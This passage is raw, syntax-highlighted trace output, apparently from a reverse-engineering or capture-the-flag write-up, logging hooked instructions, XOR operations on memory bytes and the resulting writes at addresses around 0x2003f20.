class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000c37: cmp esi, <span class="number">0</span>x27</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x09</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010007ef: mov esi, <span class="number">0</span>x2e</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010007f4: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100080a: cmp esi, <span class="number">0</span>x5d</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4c ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x3C</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001340: mov esi, <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100135a: cmp esi, <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001354]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x1E</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x0d</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x0e</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x0f</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x10</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x12</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x13</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x14</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x15</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x16</span><br><span class="line"><span 